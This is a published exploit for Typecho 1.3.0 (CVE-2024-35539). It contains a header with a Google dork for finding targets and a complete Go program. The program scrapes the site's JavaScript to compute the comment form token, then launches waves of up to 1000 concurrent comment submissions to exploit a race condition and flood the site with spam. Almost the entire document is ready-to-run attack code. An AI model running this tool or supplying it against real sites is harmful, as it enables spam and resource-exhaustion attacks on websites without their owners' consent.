Typecho 1.3.0 - Race Condition

# Exploit Title: Typecho 1.3.0 - Race Condition
# Google Dork: intext:"Powered by Typecho" inurl:/index.php
# Date: 18/08/2024
# Exploit Author: Michele 'cyberaz0r' Di Bonaventura
# Vendor Homepage: https://typecho.org
# Software Link: https://github.com/typecho/typecho
# Version: 1.3.0
# Tested on: Typecho 1.3.0 Docker Image with PHP 7.4 (https://hub.docker.com/r/joyqi/typecho)
# CVE: CVE-2024-35539

# For more information, visit the blog post: https://cyberaz0r.info/2024/08/typecho-multiple-vulnerabilities/

package main

import (
    "bytes"
    "fmt"
    "io"
    "net/http"
    "net/url"
    "os"
    "strings"
    "sync"
    "sync/atomic"
    "time"

    "github.com/robertkrimen/otto"
)

var (
    c                    int32 = 0
    commentsPostInterval int64 = 60
    maxThreads           int   = 1000
    wg                   sync.WaitGroup
    userAgent            string       = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
    client               *http.Client = &http.Client{
        CheckRedirect: func(req *http.Request, via []*http.Request) error {
            return http.ErrUseLastResponse
        },
    }
)

func getJSFunction(u string) string {
    req, err := http.NewRequest("GET", u, nil)
    if err != nil {
        fmt.Println("[X] Error creating initial request:", err)
        return ""
    }

    req.Header.Set("User-Agent", userAgent)
    resp, err := client.Do(req)
    if err != nil {
        fmt.Println("[X] Error sending initial request:", err)
        return ""
    }

    buf := new(bytes.Buffer)
    buf.ReadFrom(resp.Body)
    body := buf.String()

    if !strings.Contains(body, "input.value = (") || !strings.Contains(body, ")();;") {
        fmt.Println("[X] Error finding JavaScript function")
        return ""
    }

    jsFunction := strings.Split(body, "input.value = (")[1]
    jsFunction = strings.Split(jsFunction, ")();;")[0]

    return jsFunction
}

func executeJavaScript(jsFunctionName string, jsFunctionBody string) string {
    vm := otto.New()

    _, err := vm.Run(jsFunctionBody)
    if err != nil {
        fmt.Println("[X] Error executing JavaScript function:", err)
        return ""
    }

    result, err := vm.Call(jsFunctionName, nil)
    if err != nil {
        fmt.Println("[X] Error calling JavaScript function:", err)
        return ""
    }

    returnValue, err := result.ToString()
    if err != nil {
        fmt.Println("[X] Error converting JavaScript result to string:", err)
        return ""
    }

    return returnValue
}

func spamComments(u string, formToken string) {
    timestamp := time.Now().Unix()
    for {
        i := 0

        for time.Now().Unix() < timestamp-1 {
            time.Sleep(250 * time.Millisecond)
            fmt.Printf("\r[*] Waiting for next spam wave... (%d seconds)    ", timestamp-time.Now().Unix()-1)
        }

        fmt.Printf("\n")
        for time.Now().Unix() < timestamp+2 {
            if i < maxThreads {
                wg.Add(1)
                go spamRequest(u, formToken, i)
                i++
            }
        }

        wg.Wait()
        fmt.Printf("\n[+] Successfully spammed %d comments\n", c)
        timestamp = time.Now().Unix() + commentsPostInterval
    }
}

func spamRequest(u string, formToken string, i int) {
    fmt.Printf("\r[*] Spamming comment request %d    ", i)

    defer wg.Done()

    formData := url.Values{}
    formData.Set("_", formToken)
    formData.Set("author", fmt.Sprintf("user_%d", i))
    formData.Set("mail", fmt.Sprintf("user%[email protected]", i))
    formData.Set("text", fmt.Sprintf("Hello from user_%d", i))

    req, err := http.NewRequest("POST", u+"comment", nil)
    if err != nil {
        return
    }

    req.Header.Set("Referer", u)
    req.Header.Set("User-Agent", userAgent)
    req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
    req.Header.Set("Content-Length", fmt.Sprint(len(formData.Encode())))
    req.Body = io.NopCloser(strings.NewReader(formData.Encode()))

    resp, err := client.Do(req)
    if err != nil {
        return
    }

    if resp.StatusCode == 302 {
        atomic.AddInt32(&c, 1)
    }

    defer resp.Body.Close()
}

func main() {
    if len(os.Args) != 2 {
        fmt.Println("Usage: go run CVE-2024-35538.go <POST_URL>")
        return
    }

    fmt.Println("[+] Starting Typecho <= 1.3.0 Race Condition exploit (CVE-2024-35539) by cyberaz0r")

    targetUrl := os.Args[1]
    fmt.Println("[+] Spam target:", targetUrl)

    fmt.Println("[*] Getting JavaScript function to calculate form token...")
    jsFunction := getJSFunction(targetUrl)
    if jsFunction == "" {
        fmt.Println("[-] Could not get JavaScript function, exiting...")
        return
    }

    fmt.Println("[*] Evaluating JavaScript function to calculate form token...")
    formToken := executeJavaScript("calculateToken", strings.Replace(jsFunction, "function ()", "function calculateToken()", 1))
    if formToken == "" {
        fmt.Println("[-] Could not get form token, exiting...")
        return
    }

    fmt.Printf("[+] Form token: %s", formToken)
    spamComments(targetUrl, formToken)
}